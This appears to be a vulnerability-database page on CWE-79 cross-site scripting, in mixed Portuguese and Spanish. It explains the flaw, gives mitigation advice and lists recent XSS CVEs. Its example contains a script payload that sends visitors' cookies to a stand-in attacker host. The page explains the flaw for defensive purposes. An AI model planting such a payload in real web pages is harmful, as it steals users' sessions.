Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-4293MEDIUMKieback & Peter DDC Building Controllers Cross-site ScriptingEPSS 0.3%CVE-2025-27320MEDIUMWordPress Profile Widget Ninja plugin <= 4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13846MEDIUMEasy Map Creator <= 3.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-0632MEDIUMAutomatic Translator with Google Translate <= 1.5.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Custom FontEPSS 0.3%CVE-2024-3031MEDIUMFluid Notification Bar <= 3.2.3 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-43156HIGHWordPress Post Grid Master plugin <= 3.4.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4462MEDIUMNafeza Prayer Time <= 1.2.9 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-105862HIGHPayload: Bypassed sanitization of user uploaded SVGsEPSS 0.3%CVE-2025-48252MEDIUMWordPress Back Button Widget plugin <= 1.6.8 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-13373MEDIUMWatchGuard Firebox Stored Cross-Site-Scripting (XSS) Vulnerability in Tigerpaw Technology Integration ConfigurationEPSS 0.3%CVE-2024-52351MEDIUMWordPress BU Slideshow plugin <= 2.3.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49659MEDIUMWordPress Coub plugin <= 1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56035HIGHWordPress Upload Scanner plugin <= 1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-8313MEDIUMCampus Directory <= 1.9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via noaccess_msg ParameterEPSS 0.3%CVE-2024-52353MEDIUMWordPress Christian Science Bible Lesson Subjects plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-58037NONECore log entries for exceptions and XSS issues in log entry formatting code that may be caused by user-controlled inputEPSS 0.3%CVE-2024-56034HIGHWordPress Services updates for customers plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7646MEDIUMThe Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.3.10 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-4557MEDIUMcode-projects Exam Form Submission update_s1.php cross site scriptingEPSS 0.3%CVE-2025-67834MEDIUMPaessler PRTG Network Monitor before 25.4.114 allows XSS by an unauthenticated attacker via the filter parameter.EPSS 0.3%